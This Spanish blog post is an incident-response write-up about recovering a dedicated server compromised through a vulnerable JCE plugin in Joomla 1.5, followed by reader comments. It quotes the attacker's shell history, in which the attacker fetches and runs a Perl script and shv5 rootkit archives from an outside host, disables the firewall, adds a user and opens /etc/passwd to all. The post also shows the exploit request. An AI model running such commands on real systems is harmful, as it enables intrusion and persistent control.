Recuperación ante un ataque contra Joomla

Quería compartir un ataque sufrido a un servidor dedicado que una organización con la cual colaboraba tenía contratado en una empresa de hosting bastante conocida. Cuando fuimos conscientes del ataque, el atacante ya había obtenido acceso al sistema y había editado los ficheros /etc/passwd, /etc/groups, /etc/shadow y /etc/gshadow modificando las claves de acceso por ssh y creando usuarios propios para acceder al equipo. Por tanto no disponíamos de acceso al servidor.

En el OSSEC (un HIDS) veíamos intentos de acceso al servidor por SSH desde una IP de Indonesia. Y nos alertaba de tener instalada una Rootkit.

2013 Nov 09 21:59:19 Rule Id: 510 level: 7
Location: servidor->rootcheck
Src IP: 'shv5' detected by the presence of file '/lib/libsh.so'.
Host-based anomaly detection event (rootcheck). ** Alert 1384030759.1314571: mail -
ossec,rootcheck,
2013 Nov 09 21:59:19 servidor->rootcheck
Rule: 510 (level 7) -> 'Host-based anomaly detection event (rootcheck).'
Rootkit 'shv5' detected by the presence of file '/usr/lib/libsh'.

Para recuperar el acceso al servidor (ya que nos habían modificado la clave) hicimos uso de las claves pública/privada que teníamos en el servidor y que utilizábamos entre otras cosas para las copias de seguridad a una NAS en remoto. Gracias a esto conseguimos reemplazar de nuevo los ficheros modificados para acceder al servidor. Una vez conseguimos acceder al servidor teníamos que comprobar los ficheros afectados y modificados, y la forma por la que habían accedido. Lanzamos el comando history en la consola para que nos diese alguna pista de los comandos ejecutados a través del Shell, y este fue el resultado:

473 id
474 wget kropak.com/es.txt
475 perl es.txt
476 cd /tmp
477 rm -rf a
478 ls
479 wget kropak.com/sshroot.tar.gz
480 tar -zxvf sshroot.tar.gz;rm -rf sshroot.tar.gz
481 cd sshroot
482 chmod +x *
483 ./configure --prefix=/usr/local/sshd/
484 cd ..
485 rm -rf sshroot
486 wget kropak.com/shv5.tar.gz
487 tar -zxvf shv5.tar.gz;rm -rf shv5.tar.gz
488 cd shv5
489 ./setup 201 201
490 cd /tmp
491 service iptables stop
492 /sbin/ifconfig | grep inet | wc -l
493 cat /etc/ssh/sshd_config
494 adduser tagar
495 passwd Tagar
496 passwd tagar
497 chmod 777 /etc/passwd
498 id tagar
499 passwd
500 id tagar

Esto confirmaba la alerta del OSSEC. Como vemos pudieron hacer a sus anchas lo que quisieron. Instalaron un rootkit shv5 y se crearon usuarios de acceso al servidor (tagar).

Además de eso, modificaron los paquetes de comandos como el lsof, ifconfig, md5sum, find, pstree… limitando algunas funciones, de lo cual nos alertó el rkhunter como mostramos en el ejemplo siguiente.

[01:02:05] /usr/bin/pstree [ Warning ]
[01:02:05] Warning: Package manager verification has failed:
[01:02:05] File: /usr/bin/pstree
[01:02:05] The file hash value has changed
[01:02:05] The file owner has changed
[01:02:05] The file group has changed
[01:02:05] The file size has changed 

En el mismo log del rkhunter aparecieron muchos mensajes de información. Entre otros, este que nos da importante información.

[01:04:00] Checking for TCP port 6667 [ Warning ]
httpdocs/administrator/templates/.logged/psybnc. Possible rootkit: Possible rogue IRC bot
Use the 'lsof -i' or 'netstat -an' command to check this.

Localizamos el fichero psybnc en un dominio donde teníamos instalado una versión de Joomla! vulnerable (versión 1.5) y es donde habían instalado un IRC (Internet Relay Chat) y nos utilizaban como servidor IRCd.

En el directorio /administrator/templates aparecía el .logged y directorios de Unreal3.2 (IRC), shv5, y otros ficheros infectados y que habían sido descargados por el atacante.

Revisando el log del dominio infectado vimos la forma por la que accedieron al servidor:

IP_Atacante - - [16/Oct/2013:05:52:55 +0200] "POST
/index.php%3foption=com_content%26view=article%26id
=280%3agf-febrero-
2013%26catid=20%3avitoria%26Itemid=73/index.php?
option=com_jce&task=plugin&plugin=imgman
ager&file=imgmanager&version=1576&cid=20 HTTP/1.1" 404 549 "-"
"BOT/0.1 (BOT for JCE)"

Como se puede ver es a raíz del complemento JCE que es un editor de mensajes que se ha conocido que es vulnerable [4] [5] [6] y que hay pruebas de concepto sobre la explotación de dicha vulnerabilidad.

Hasta aquí un poco el análisis a grandes rasgos del ataque. Una vez conocida la vulnerabilidad explotada y la utilización que se estaba realizando del equipo empieza la tarea para limpiar y solucionar el problema. En primer lugar procedimos a eliminar el atributo inmutable de los ficheros que el atacante había modificado para limitar nuestra acción:

[root@servidor ~]# chattr -sia /bin/ls
[root@servidor ~]# chattr -sia /bin/ps
[root@servidor ~]# chattr -sia /bin/netstat
[root@servidor ~]# chattr -sia /usr/bin/dir
[root@servidor ~]# hattr -sia /usr/bin/find
[root@servidor ~]# chattr -sia /usr/bin/find
[root@servidor ~]# chattr -sia /sbin/ifconfig
[root@servidor ~]# chattr -sia /usr/sbin/lsof
[root@servidor ~]# chattr -sia /usr/bin/md5sum
[root@servidor ~]# chattr -sia /usr/bin/pstree
[root@servidor ~]# chattr -sia /usr/bin/top
[root@servidor ~]# chattr -sia /lib/libsh.so
[root@servidor ~]# chattr -sia /usr/lib/libsh
[root@servidor ~]# chattr -sia /usr/lib/libsh/*
[root@servidor ~]# chattr -sia /etc/sh.conf
[root@servidor ~]# chattr -sia /sbin/ttymon
[root@servidor ~]# chattr -sia /sbin/ttyload

También modificaron el /etc/inittab por lo que lo reemplazamos con uno limpio de copias de seguridad anteriores.

Eliminamos los ficheros modificados en el sistema y posteriormente los instalamos de nuevo:

[root@servidor ~]# rm -rf /lib/libsh.so
[root@servidor ~]# rm -rf /usr/lib/libsh/
[root@servidor ~]# rm -rf /etc/sh.conf
[root@servidor ~]# rm -rf /sbin/ttyload
[root@servidor ~]# rm -rf /sbin/ttymon

[root@servidor ~]# rm -rf /lib/libsh.so
[root@servidor ~]# rm -rf /usr/lib/libsh/
[root@servidor ~]# rm -rf /etc/sh.conf
[root@servidor ~]# rm -rf /sbin/ttyload
[root@servidor ~]# rm -rf /sbin/ttymon
[root@servidor ~]# yum -y reinstall coreutils binutils 
     net-tools psmisc lsof procps findutils >>/dev/null

Además borramos también cualquier rastro de los ficheros del shv4 y shv5. Eliminamos el proceso en marcha que tenían en el IRC y el Unreal. Además eliminamos del fichero known-hosts la IP del atacante y la añadimos en el firewall para que bloquease toda conexión de esa IP. Además, dado que en el servidor no se utilizaba perl, bloqueamos los accesos con el user-agent libwww-perl.

A modo de resumen el procedimiento del ataque ha sido el siguiente:

  • A raíz de una vulnerabilidad de Joomla! Content Editor y el plugin imgmanager (por tenerlo desactualizado) utilizan un exploit en perl para escanear y ver la vulnerabilidad que consigue introducir ficheros en la carpeta de joomla vulnerable.
  • Suben ficheros y usan la librería libwww-perl para estas conexiones.
  • Instalar un software IRCd (Unreal).
  • Con los ficheros que meten ejecutan un fichero perl que les da posibilidades de ejecutar tareas con los privilegios del usuario apache.
  • Descargan dos ficheros sshroot.tar.gz y shv5.tar.gz y posteriormente instalan el rootkit para evitar ser detectados y conseguir privilegios de root en el servidor.

Después de esto solo cabe añadir que procedimos a revisar todo el servidor de nuevo, además de actualizar todas las versiones de Joomla! instaladas y revisar todos los plugins para comprobar que no eran vulnerables.

Estos son algunos de los pasos del análisis y de la solución que dimos ante este ataque. Evidentemente se tomaron más medidas y se analizaron muchas más cosas, pero a grandes rasgos este fue el caso que quería compartir.

Comments

  1. Tengo dos preguntas:

    1.- El resumen de todo esto podría ser:

    LAS COSAS NO DEBEN INSTALARSE TODAS CON EL USUARIO root, ES MÁS FACIL PERO EL PRECIO QUE PAGAS PUEDE SER ALTÍSIMO.

    2.- Manuel, ¿No hubiese sido más facil o mas seguro “matar” el servidor y volverlo a montar?

  2. Buenas ,

    Pero algo no cuadra en esta historia , apache se ejecutaba como ROOT ?? , porque si no es así como lograron hacerse con una shell de root , tuvieron que aprovechar alguna vulnerabilidad del sistema (kernel.paquete.. no actualizada) .

    Un saludo y muchas gracias por la explicación

  3. Excelente post, muy buenas recomendaciones para realizar la continuidad de negocio, de todas maneras es bueno en esos caso plantearse si la plataforma es lo suficientemente robusta, si es necesario migrar a otro CMS o realizar una aplicación web desde cero.

    Saludos cordiales

  4. Gracias a todos por vuestros comentarios.

    “Tio Tonet” tienes razón en que las cosas no deben ejecutarse con el usuario root siempre que sea posible, pero no es el único problema ya que igual de malo puede ser tener el user correcto pero permisos 777 en los ficheros y directorios. En cuanto a la opción de “matar” el servidor y volverlo a montar, más fácil no era ya que el servidor tenía muchas páginas y servicios que se tendrían que haber parado, y el proceso no habría sido una cuestión menor. Y más seguro probablemente sí, pero tras hacer varios análisis y tomar las medidas oportunas, consideramos que el servidor estaba controlado y seguro. Gracias por tus aportaciones.

    Miniservers, veo que pronto te has dado cuenta que algo fallaba. Apache no se ejecutaba como ROOT, pero el atacante consiguió privilegios en el servidor. Sí que hemos visto que subió binarios, y uno de ellos levantaba un ssh. Y con la ejecución del script perl entendemos que consiguió esos privilegios.

    Daniel, gracias por tu comentario. Tienes toda la razón en tu planteamiento, y es lo que hay que decidir después de un ataque como este.

    Saludos y gracias por seguirnos.

  5. Excelente entrada gracias.

  6. Gracias por la información, muy valiosa.